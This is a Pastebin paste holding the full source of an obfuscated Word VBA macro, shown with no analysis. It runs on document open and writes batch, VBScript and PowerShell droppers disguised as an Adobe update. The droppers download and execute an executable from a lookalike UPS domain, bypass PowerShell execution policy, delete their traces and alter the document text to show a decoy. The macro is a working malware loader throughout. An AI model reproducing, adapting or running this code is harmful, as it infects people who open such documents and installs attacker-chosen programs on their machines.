API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Nov 24th, 2014
181
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.77 KB | None | 0 0
raw download clone embed print report
  1. Attribute VB_Name = "ThisDocument"
  2.  
  3. Attribute VB_Base = "1Normal.ThisDocument"
  4.  
  5. Attribute VB_GlobalNameSpace = False
  6.  
  7. Attribute VB_Creatable = False
  8.  
  9. Attribute VB_PredeclaredId = True
  10.  
  11. Attribute VB_Exposed = True
  12.  
  13. Attribute VB_TemplateDerived = True
  14.  
  15. Attribute VB_Customizable = True
  16.  
  17. Sub Auto_Open()
  18.  
  19. h
  20.  
  21. End Sub
  22.  
  23. Sub h()
  24.  
  25. Dim MY_FILENDIR, MY_FILEDIR, MY_FILDIR, XPFILEDIR
  26.  
  27. USER = Environ("username")
  28.  
  29. PST1 = "adobeacd-update.p" + Chr(115) + "1"
  30.  
  31. BART = "adobeacd-update.b" + Chr(Asc("a")) + Chr(Asc("t"))
  32.  
  33. ASDSA = "kjlasdjkasldjkldasjkadsjklsajlksajklsdjkl"
  34.  
  35. VBT1 = "adobeacd-update." + Chr(118) + "bs"
  36.  
  37. VBTXP = "adobeacd-updatexp.vbs"
  38.  
  39.  
  40.  
  41.  
  42.  
  43. MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\AppData\Local\Temp\" + PST1
  44.  
  45. ASJDKHSJADASDSA = "jklasdjkdsajklsdajkljklsakjlsadjsdkjlsajkdlsajklsadjkladsljksad"
  46.  
  47. MY_FILEDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART
  48.  
  49. MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1
  50.  
  51. XPFILEDIR = "c:\Windows\Temp\" + VBTXP
  52.  
  53. XPBARTFILEDIR = "c:\Windows\Temp\" + BART
  54.  
  55. NKK = "http"
  56.  
  57.  
  58.  
  59. On Error Resume Next
  60.  
  61. SetAttr MY_FILENDIR, vbNormal
  62.  
  63.  
  64.  
  65. If (Len(Dir(MY_FILENDIR)) <> 0) Then
  66.  
  67. Kill MY_FILENDIR
  68.  
  69. End If
  70.  
  71.  
  72.  
  73. On Error Resume Next
  74.  
  75. SetAttr MY_FILEDIR, vbNormal
  76.  
  77. If (Dir(MY_FILEDIR) <> "") Then
  78.  
  79. Kill MY_FILEDIR
  80.  
  81. End If
  82.  
  83.  
  84.  
  85. On Error Resume Next
  86.  
  87. SetAttr MY_FILDIR, vbNormal
  88.  
  89. If (Dir(MY_FILDIR) <> "") Then
  90.  
  91. Kill MY_FILDIR
  92.  
  93. End If
  94.  
  95.  
  96.  
  97. On Error Resume Next
  98.  
  99. SetAttr XPFILEDIR, vbNormal
  100.  
  101. If (Dir(XPFILEDIR) <> "") Then
  102.  
  103. Kill XPFILEDIR
  104.  
  105. End If
  106.  
  107.  
  108.  
  109. Dim FileNumber As Integer
  110.  
  111. Dim FileNumb As Integer
  112.  
  113. Dim FileNu As Integer
  114.  
  115. Dim mttt As Integer
  116.  
  117. Dim retVal As Variant
  118.  
  119. 'Dim winver As Integer
  120.  
  121. FileNumber = FreeFile
  122.  
  123. FileNumb = FreeFile
  124.  
  125. FileNu = FreeFile
  126.  
  127.  
  128.  
  129.  
  130.  
  131. Dim objWMIService As Variant
  132.  
  133. Dim colOperatingSystems As Variant
  134.  
  135. Dim objOperatingSystem As Variant
  136.  
  137. Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
  138.  
  139. Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
  140.  
  141. For Each objOperatingSystem In colOperatingSystems
  142.  
  143. SysReport = SysReport & "The operating system on this computer is " & _
  144.  
  145. objOperatingSystem.Caption & " (" & objOperatingSystem.Version & ")"
  146.  
  147. Next
  148.  
  149.  
  150.  
  151. Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
  152.  
  153. Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
  154.  
  155. For Each objOperatingSystem In colOperatingSystems
  156.  
  157. winverstr = objOperatingSystem.Version
  158.  
  159. Next
  160.  
  161.  
  162.  
  163.  
  164.  
  165. winver = Val(winverstr)
  166.  
  167. WaitFor (1)
  168.  
  169.  
  170.  
  171.  
  172.  
  173. If (winver <= 5.5) Then
  174.  
  175. Open XPBARTFILEDIR For Output As #FileNu
  176.  
  177. Print #FileNu, "@echo off"
  178.  
  179. Print #FileNu, "ping 1.1.2.2 -n 2"
  180.  
  181. Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Windows\Temp" + "\" + VBTXP + Chr(34)
  182.  
  183. Print #FileNu, "ping 1.1.2.2 -n 2"
  184.  
  185. Print #FileNu, "c:\Windows\Temp\444.exe"
  186.  
  187. Print #FileNu, ":loop"
  188.  
  189. Print #FileNu, "ping 1.1.2.2 -n 1"
  190.  
  191. Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34)
  192.  
  193. Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34)
  194.  
  195. Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34) + " goto loop"
  196.  
  197. Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34) + " goto loop"
  198.  
  199. Print #FileNu, "exit"
  200.  
  201. Close #FileNu
  202.  
  203. WaitFor (2)
  204.  
  205. mttt = 88
  206.  
  207.  
  208.  
  209. Open XPFILEDIR For Output As #FileNumber
  210.  
  211. Print #FileNumber, "strRT = " + Chr(34) + NKK + "://app.www-myups.net/updates" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
  212.  
  213. Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + "4" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
  214.  
  215.  
  216.  
  217. Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(" + Chr(34) + "MSXML2." + Chr(mttt - 54) + Chr(mttt) + Chr(mttt - 11) + Chr(mttt - 12) + Chr(72) + Chr(84) + Chr(84) + Chr(80) + ")"
  218.  
  219. Print #FileNumber, "objXMLHTTP.open " + Chr(34) + "GET" + Chr(34) + ", strRT, False"
  220.  
  221.  
  222.  
  223. Print #FileNumber, "objXMLHTTP.send() "
  224.  
  225. Print #FileNumber, "If objXMLHTTP.Status = 200 Then"
  226.  
  227.  
  228.  
  229. Print #FileNumber, "Set objADOStream = CreateObject(" + Chr(34) + "ADODB.Stream" + Chr(34) + ") "
  230.  
  231.  
  232.  
  233. Print #FileNumber, "objADOStream.Open "
  234.  
  235. Print #FileNumber, "objADOStream.Type = 1"
  236.  
  237. Print #FileNumber, "objADOStream.Write objXMLHTTP.ResponseBody "
  238.  
  239. Print #FileNumber, "objADOStream.Position = 0 "
  240.  
  241. Print #FileNumber, "objADOStream.SaveToFile strTecation "
  242.  
  243. Print #FileNumber, "objADOStream.Close "
  244.  
  245. Print #FileNumber, "Set objADOStream = Nothing "
  246.  
  247. Print #FileNumber, "End if "
  248.  
  249. Print #FileNumber, "Set objXMLHTTP = Nothing"
  250.  
  251. Print #FileNumber, "Set objShell = CreateObject(" + Chr(34) + "WScript.Shell" + Chr(34) + ")"
  252.  
  253. Close #FileNumber
  254.  
  255.  
  256.  
  257. WaitFor (1)
  258.  
  259.  
  260.  
  261. retVal = Shell(XPBARTFILEDIR, 0)
  262.  
  263.  
  264.  
  265.  
  266.  
  267. End If
  268.  
  269.  
  270.  
  271.  
  272.  
  273. If (winver > 5.5) Then
  274.  
  275. Open MY_FILENDIR For Output As #FileNumber
  276.  
  277. Print #FileNumber, "$hashroot = '94-4a-1e-86-99-69-dd-8a-4b-64-ca-5e-6e-bc-20-9a';"
  278.  
  279. Print #FileNumber, "$hash = '0';"
  280.  
  281. Print #FileNumber, "$down = N" & "ew" & "-" & Chr(79) & "bject " & Chr(Asc("S")) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
  282.  
  283. Print #FileNumber, "$url = '" + NKK + "://app.www-myups.net/update" & "s.e" & "xe';"
  284.  
  285. Print #FileNumber, "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44." + Chr(101) & "xe';"
  286.  
  287. Print #FileNumber, "$down.headers[" + Chr(39) + "User-Agent" + Chr(39) + "] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25';"
  288.  
  289. Print #FileNumber, "$down" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($u" & "rl,$" & "file);"
  290.  
  291. Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
  292.  
  293. Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & "xe" & "';"
  294.  
  295. Print #FileNumber, "$vbsFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1 + "';"
  296.  
  297. Print #FileNumber, "$batFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + BART + "';"
  298.  
  299. Print #FileNumber, "$psFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + PST1 + "';"
  300.  
  301. 'Print #FileNumber, "Do { Start-Sleep -s 10;"
  302.  
  303. 'Print #FileNumber, "$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;"
  304.  
  305. 'Print #FileNumber, "$hash = [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes($someFilePath))); }"
  306.  
  307. 'Print #FileNumber, "Until ($hash -Match $hashroot);"
  308.  
  309. Print #FileNumber, "Start-Sleep -s 15;"
  310.  
  311. Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c 'c:\Users\" + USER + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e'; "
  312.  
  313. Print #FileNumber, "$file1 = gci $vbsFilePath -Force"
  314.  
  315. Print #FileNumber, "$file2 = gci $batFilePath -Force"
  316.  
  317. Print #FileNumber, "$file3 = gci $psFilePath -Force"
  318.  
  319. Print #FileNumber, "$file1.Attributes = $file1.Attributes -bxor [System.IO.FileAttributes]::Hidden"
  320.  
  321. Print #FileNumber, "$file2.Attributes = $file2.Attributes -bxor [System.IO.FileAttributes]::Hidden"
  322.  
  323. Print #FileNumber, "$file3.Attributes = $file3.Attributes -bxor [System.IO.FileAttributes]::Hidden"
  324.  
  325. Print #FileNumber, "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
  326.  
  327. Print #FileNumber, "If (Test-Path $batFilePath){ Remove-Item $batFilePath }"
  328.  
  329. Print #FileNumber, "If (Test-Path $someFilePath){ Remove-Item $someFilePath }"
  330.  
  331. Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
  332.  
  333. Close #FileNumber
  334.  
  335.  
  336.  
  337. Open MY_FILDIR For Output As #FileNumb
  338.  
  339. Print #FileNumb, "Dim dff"
  340.  
  341. Print #FileNumb, "dff = 68"
  342.  
  343. Print #FileNumb, "cur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))"
  344.  
  345. Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & "S" & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) & ")"
  346.  
  347. Print #FileNumb, "currentFile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + USER + "\AppData\Local\Temp" + "\" + PST1 + Chr(34)
  348.  
  349. Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "hell = Create" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")"
  350.  
  351. Print #FileNumb, "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true"
  352.  
  353. Close #FileNumb
  354.  
  355.  
  356.  
  357. Open MY_FILEDIR For Output As #FileNu
  358.  
  359. Print #FileNu, "@echo off"
  360.  
  361. Print #FileNu, "ping 1.1.2.2 -n 2"
  362.  
  363. Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Users\" + USER + "\AppData\Local\Temp" + "\" + VBT1 + Chr(34)
  364.  
  365. Print #FileNu, "exit"
  366.  
  367. Close #FileNu
  368.  
  369.  
  370.  
  371. SetAttr MY_FILENDIR, vbNormal
  372.  
  373. SetAttr MY_FILEDIR, vbNormal
  374.  
  375. SetAttr MY_FILDIR, vbNormal
  376.  
  377.  
  378.  
  379. WaitFor (1)
  380.  
  381.  
  382.  
  383. retVal = Shell(MY_FILEDIR, 0)
  384.  
  385. End If
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393. findTest
  394.  
  395. secondTest
  396.  
  397. For Each myStoryRange In ActiveDocument.StoryRanges
  398.  
  399. With myStoryRange.Find
  400.  
  401. .Text = "<" & "sel" & "ect>"
  402.  
  403. .Replacement.Text = " "
  404.  
  405. .Wrap = wdFindContinue
  406.  
  407. .Execute Replace:=wdReplaceAll
  408.  
  409. End With
  410.  
  411. Next myStoryRange
  412.  
  413.  
  414.  
  415. For Each myStoryRange In ActiveDocument.StoryRanges
  416.  
  417. With myStoryRange.Find
  418.  
  419. .Text = "</s" & "ele" & "ct>"
  420.  
  421. .Replacement.Text = " "
  422.  
  423. .Wrap = wdFindContinue
  424.  
  425. .Execute Replace:=wdReplaceAll
  426.  
  427. End With
  428.  
  429. Next myStoryRange
  430.  
  431.  
  432.  
  433. For Each myStoryRange In ActiveDocument.StoryRanges
  434.  
  435. With myStoryRange.Find
  436.  
  437. .Text = "<" & "in" & "box>"
  438.  
  439. .Replacement.Text = " "
  440.  
  441. .Wrap = wdFindContinue
  442.  
  443. .Execute Replace:=wdReplaceAll
  444.  
  445. End With
  446.  
  447. Next myStoryRange
  448.  
  449.  
  450.  
  451. For Each myStoryRange In ActiveDocument.StoryRanges
  452.  
  453. With myStoryRange.Find
  454.  
  455. .Text = "</" & "in" & "box>"
  456.  
  457. .Replacement.Text = " "
  458.  
  459. .Wrap = wdFindContinue
  460.  
  461. .Execute Replace:=wdReplaceAll
  462.  
  463. End With
  464.  
  465. Next myStoryRange
  466.  
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473. End Sub
  474.  
  475. Sub WaitFor(NumOfSeconds As Long)
  476.  
  477. Dim SngSec As Long
  478.  
  479. SngSec = Timer + NumOfSeconds
  480.  
  481.  
  482.  
  483. Do While Timer < SngSec
  484.  
  485. DoEvents
  486.  
  487. Loop
  488.  
  489.  
  490.  
  491. End Sub
  492.  
  493.  
  494.  
  495. Sub AutoOpen()
  496.  
  497. Auto_Open
  498.  
  499. End Sub
  500.  
  501. Sub Workbook_Open()
  502.  
  503. Auto_Open
  504.  
  505. End Sub
  506.  
  507.  
  508.  
  509. Sub findTest()
  510.  
  511. Dim firstTerm As String
  512.  
  513. Dim secondTerm As String
  514.  
  515. Dim myRange As Range
  516.  
  517. Dim selRange As Range
  518.  
  519. Dim selectedText As String
  520.  
  521.  
  522.  
  523. Set myRange = ActiveDocument.Range
  524.  
  525. firstTerm = "<se" & "lect>"
  526.  
  527. secondTerm = "</sel" & "ect>"
  528.  
  529. With myRange.Find
  530.  
  531. .Text = firstTerm
  532.  
  533. .MatchWholeWord = True
  534.  
  535. .Execute
  536.  
  537. myRange.Collapse direction:=wdCollapseEnd
  538.  
  539. Set selRange = ActiveDocument.Range
  540.  
  541. selRange.Start = myRange.End
  542.  
  543. .Text = secondTerm
  544.  
  545. .MatchWholeWord = True
  546.  
  547. .Execute
  548.  
  549. myRange.Collapse direction:=wdCollapseStart
  550.  
  551. selRange.End = myRange.Start
  552.  
  553. selectedText = selRange.Delete
  554.  
  555. End With
  556.  
  557. End Sub
  558.  
  559.  
  560.  
  561. Sub secondTest()
  562.  
  563. Dim firstTerm As String
  564.  
  565. Dim secondTerm As String
  566.  
  567. Dim myRanget As Range
  568.  
  569. Dim selRanget As Range
  570.  
  571. Dim selectedTextt As String
  572.  
  573.  
  574.  
  575. Set myRanget = ActiveDocument.Range
  576.  
  577. firstTerm = "<in" & "box>"
  578.  
  579. secondTerm = "</in" & "box>"
  580.  
  581. With myRanget.Find
  582.  
  583. .Text = firstTerm
  584.  
  585. .MatchWholeWord = True
  586.  
  587. .Execute
  588.  
  589. myRanget.Collapse direction:=wdCollapseEnd
  590.  
  591. Set selRanget = ActiveDocument.Range
  592.  
  593. selRanget.Start = myRanget.End
  594.  
  595. .Text = secondTerm
  596.  
  597. .MatchWholeWord = True
  598.  
  599. .Execute
  600.  
  601. myRanget.Collapse direction:=wdCollapseStart
  602.  
  603. selRanget.End = myRanget.Start
  604.  
  605. selectedTextt = selRanget
  606.  
  607. selRanget.Font.Color = wdColorBlack
  608.  
  609. End With
  610.  
  611. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!